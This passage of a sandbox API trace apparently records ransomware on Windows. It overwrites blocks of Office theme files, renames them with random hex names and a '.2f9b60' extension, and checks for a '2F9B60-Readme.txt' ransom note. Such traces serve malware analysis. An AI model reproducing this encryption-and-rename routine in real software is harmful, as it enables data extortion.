DestinationString="48ea882d9df382085eea80510011adb8fa34e54c") returned 0x0 [0110.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b7ceac0 [0110.743] wcscat (in: _Dest=0x20279a30, _Source="48ea882d9d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\48ea882d9d") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\48ea882d9d" [0110.743] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\48ea882d9d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\48ea882d9d.2f9b60" [0110.743] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\48ea882d9d.2f9b60", NtPathName=0x334af790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\48ea882d9d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0110.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x119720 [0110.743] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x334af830, FileInformation=0x119720, Length=0xc8, FileInformationClass=0xa) returned 0x0 [0110.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119720) returned 1 [0110.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0110.744] NtQueryInformationFile (in: FileHandle=0x1574, IoStatusBlock=0x334af7f8, FileInformation=0x334af808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x334af7f8, FileInformation=0x334af808) returned 0x0 [0110.744] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x334af7f8, FileInformation=0x334af808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ceac0) returned 1 [0110.746] FlushFileBuffers (hFile=0x1574) returned 1 [0110.751] CloseHandle (hObject=0x1574) returned 1 [0110.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0110.752] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0110.752] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0110.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0110.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64840) returned 1 Thread: id = 1060 os_tid = 0x1738 [0110.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx")) returned 0x20 [0110.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx", dwFileAttributes=0x20) returned 1 [0110.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1574 [0110.756] GetFileSizeEx (in: hFile=0x1574, lpFileSize=0x3353f960 | out: lpFileSize=0x3353f960*=32818) returned 1 [0110.756] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x802e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.757] ReadFile (in: hFile=0x1574, lpBuffer=0x3353f8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3353f928, lpOverlapped=0x0 | out: lpBuffer=0x3353f8e0*, lpNumberOfBytesRead=0x3353f928*=0x4, lpOverlapped=0x0) returned 1 [0110.758] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7be0 [0110.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7bb0 [0110.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0110.759] NtQuerySystemTime (in: CurrentTime=0x3353f820 | out: CurrentTime=0x3353f820*=132462177162274000) returned 0x0 [0110.759] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x626308c9 [0110.759] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x6413df97 [0110.759] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x36115f91 [0110.759] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x6ddbfe09 [0110.759] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x120ea4c1 [0110.759] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x63049b31 [0110.759] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x32a0b96e [0110.759] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x55cc0ab [0110.759] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x35b8038e [0110.759] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x430e6c53 [0110.759] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x2910cff0 [0110.759] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x58d97f7f [0110.759] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x429ee443 [0110.759] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x78dd5d89 [0110.759] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x61e50f50 [0110.759] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x32e79633 [0110.760] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x444c6776 [0110.760] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x20863f4f [0110.760] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x2739f73d [0110.760] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x51b5edb3 [0110.760] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x4c3f95d8 [0110.760] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x655e327e [0110.760] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x78fe9d3c [0110.760] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x79473023 [0110.760] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x3af86a2f [0110.760] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x4b37ec74 [0110.760] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x62bf558b [0110.760] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x2b9f61f9 [0110.760] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x499cb266 [0110.760] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x4a1b41b9 [0110.760] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x2f495cd3 [0110.760] RtlRandomEx (in: Seed=0x3353f810 | out: Seed=0x3353f810) returned 0x2c54534e [0110.775] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.775] ReadFile (in: hFile=0x1574, lpBuffer=0x41e80d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3353f880, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesRead=0x3353f880*=0x3c00, lpOverlapped=0x0) returned 1 [0110.776] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0110.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7be0 [0110.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7be0) returned 1 [0110.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e6e130 [0110.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7be0 [0110.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0110.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a76a0) returned 1 [0110.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0110.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.777] WriteFile (in: hFile=0x1574, lpBuffer=0x41e6e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3353f880, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesWritten=0x3353f880*=0x3c00, lpOverlapped=0x0) returned 1 [0110.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0110.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e80d80) returned 1 [0110.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a76a0 [0110.786] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0110.786] WriteFile (in: hFile=0x1574, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3353f930, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x3353f930*=0x10a, lpOverlapped=0x0) returned 1 [0110.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0110.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a30 [0110.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7a30) returned 1 [0110.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0110.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a30 [0110.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76d0 [0110.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a76d0) returned 1 [0110.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0110.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f070 [0110.801] sprintf (in: _Dest=0x1cd9f070, _Format="%c%c" | out: _Dest="79") returned 2 [0110.801] sprintf (in: _Dest=0x1cd9f072, _Format="%c%c" | out: _Dest="6d") returned 2 [0110.801] sprintf (in: _Dest=0x1cd9f074, _Format="%c%c" | out: _Dest="3a") returned 2 [0110.801] sprintf (in: _Dest=0x1cd9f076, _Format="%c%c" | out: _Dest="cf") returned 2 [0110.801] sprintf (in: _Dest=0x1cd9f078, _Format="%c%c" | out: _Dest="69") returned 2 [0110.801] sprintf (in: _Dest=0x1cd9f07a, _Format="%c%c" | out: _Dest="64") returned 2 [0110.801] sprintf (in: _Dest=0x1cd9f07c, _Format="%c%c" | out: _Dest="34") returned 2 [0110.801] sprintf (in: _Dest=0x1cd9f07e, _Format="%c%c" | out: _Dest="2e") returned 2 [0110.802] sprintf (in: _Dest=0x1cd9f080, _Format="%c%c" | out: _Dest="af") returned 2 [0110.802] sprintf (in: _Dest=0x1cd9f082, _Format="%c%c" | out: _Dest="82") returned 2 [0110.802] sprintf (in: _Dest=0x1cd9f084, _Format="%c%c" | out: _Dest="ae") returned 2 [0110.802] sprintf (in: _Dest=0x1cd9f086, _Format="%c%c" | out: _Dest="19") returned 2 [0110.802] sprintf (in: _Dest=0x1cd9f088, _Format="%c%c" | out: _Dest="17") returned 2 [0110.802] sprintf (in: _Dest=0x1cd9f08a, _Format="%c%c" | out: _Dest="a5") returned 2 [0110.802] sprintf (in: _Dest=0x1cd9f08c, _Format="%c%c" | out: _Dest="aa") returned 2 [0110.802] sprintf (in: _Dest=0x1cd9f08e, _Format="%c%c" | out: _Dest="49") returned 2 [0110.802] sprintf (in: _Dest=0x1cd9f090, _Format="%c%c" | out: _Dest="1a") returned 2 [0110.802] sprintf (in: _Dest=0x1cd9f092, _Format="%c%c" | out: _Dest="79") returned 2 [0110.802] sprintf (in: _Dest=0x1cd9f094, _Format="%c%c" | out: _Dest="f7") returned 2 [0110.802] sprintf (in: _Dest=0x1cd9f096, _Format="%c%c" | out: _Dest="8a") returned 2 [0110.802] sprintf (in: _Dest=0x1cd9f098, _Format="%c%c" | out: _Dest="d8") returned 2 [0110.802] sprintf (in: _Dest=0x1cd9f09a, _Format="%c%c" | out: _Dest="05") returned 2 [0110.802] sprintf (in: _Dest=0x1cd9f09c, _Format="%c%c" | out: _Dest="d4") returned 2 [0110.802] sprintf (in: _Dest=0x1cd9f09e, _Format="%c%c" | out: _Dest="a9") returned 2 [0110.802] RtlInitAnsiString (in: DestinationString=0x3353f9a8, SourceString="796d3acf6964342eaf82ae1917a5aa491a79f78ad805d4a9" | out: DestinationString="796d3acf6964342eaf82ae1917a5aa491a79f78ad805d4a9") [0110.802] RtlAnsiStringToUnicodeString (in: DestinationString=0x3353f978, SourceString="796d3acf6964342eaf82ae1917a5aa491a79f78ad805d4a9", AllocateDestinationString=1 | out: DestinationString="796d3acf6964342eaf82ae1917a5aa491a79f78ad805d4a9") returned 0x0 [0110.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced97f0 [0110.802] wcscat (in: _Dest=0x20279a30, _Source="796d3acf6964" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\796d3acf6964") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\796d3acf6964" [0110.802] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\796d3acf6964.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\796d3acf6964.2f9b60" [0110.803] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\796d3acf6964.2f9b60", NtPathName=0x3353f950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\796d3acf6964.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0110.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776af0 [0110.803] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x3353f9f0, FileInformation=0x1b776af0, Length=0xcc, FileInformationClass=0xa) returned 0x0 [0110.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0110.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0110.805] NtQueryInformationFile (in: FileHandle=0x1574, IoStatusBlock=0x3353f9b8, FileInformation=0x3353f9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3353f9b8, FileInformation=0x3353f9c8) returned 0x0 [0110.805] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x3353f9b8, FileInformation=0x3353f9c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced97f0) returned 1 [0110.811] FlushFileBuffers (hFile=0x1574) returned 1 [0110.814] CloseHandle (hObject=0x1574) returned 1 [0110.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0110.815] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0110.815] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0110.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0110.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd648f0) returned 1 Thread: id = 1061 os_tid = 0x173c [0110.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx")) returned 0x20 [0110.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx", dwFileAttributes=0x20) returned 1 [0110.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15e0 [0110.784] GetFileSizeEx (in: hFile=0x15e0, lpFileSize=0x3364f8c0 | out: lpFileSize=0x3364f8c0*=533988) returned 1 [0110.784] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x825e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.784] ReadFile (in: hFile=0x15e0, lpBuffer=0x3364f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3364f888, lpOverlapped=0x0 | out: lpBuffer=0x3364f840*, lpNumberOfBytesRead=0x3364f888*=0x4, lpOverlapped=0x0) returned 1 [0110.787] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a30 [0110.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0110.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76d0 [0110.788] NtQuerySystemTime (in: CurrentTime=0x3364f780 | out: CurrentTime=0x3364f780*=132462177162586000) returned 0x0 [0110.788] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x56fa7f7f [0110.788] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x12ba07c1 [0110.788] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x3d411dd6 [0110.788] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x29270015 [0110.788] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x2a51cdce [0110.788] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x70b2f600 [0110.788] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x2e7fe056 [0110.788] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x4963dc75 [0110.788] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x7a6f105e [0110.788] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x6704a854 [0110.788] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x7a2848e1 [0110.788] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x56e27390 [0110.788] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x3429ef32 [0110.788] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x692adfe0 [0110.788] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x3b0239b1 [0110.788] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x1cbb291a [0110.788] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x2ed10895 [0110.788] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x5f6072d9 [0110.789] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0xc8ff9f5 [0110.789] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x4963dc75 [0110.789] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x52aa09b4 [0110.789] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x1adf50ed [0110.789] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x655e327e [0110.789] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x4865debe [0110.789] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x5d578a1d [0110.789] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x531b4242 [0110.789] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x3932a29d [0110.789] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x1715e0d0 [0110.789] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x99bb4c7 [0110.789] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x783f5a9e [0110.789] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x6fd849ac [0110.789] RtlRandomEx (in: Seed=0x3364f770 | out: Seed=0x3364f770) returned 0x65e76633 [0110.798] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.798] ReadFile (in: hFile=0x15e0, lpBuffer=0x41e80d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3364f7e0, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesRead=0x3364f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.812] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0110.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0110.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a75b0) returned 1 [0110.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e6e130 [0110.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0110.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7520 [0110.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7520) returned 1 [0110.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0110.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.813] WriteFile (in: hFile=0x15e0, lpBuffer=0x41e6e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3364f7e0, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesWritten=0x3364f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0110.817] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x43800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.817] ReadFile (in: hFile=0x15e0, lpBuffer=0x41e80d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3364f7e0, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesRead=0x3364f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.822] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x43800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0110.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c10 [0110.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c10) returned 1 [0110.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e6e130 [0110.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c10 [0110.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7520 [0110.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7520) returned 1 [0110.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0110.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.823] WriteFile (in: hFile=0x15e0, lpBuffer=0x41e6e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3364f7e0, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesWritten=0x3364f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0110.848] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x7e9e4, 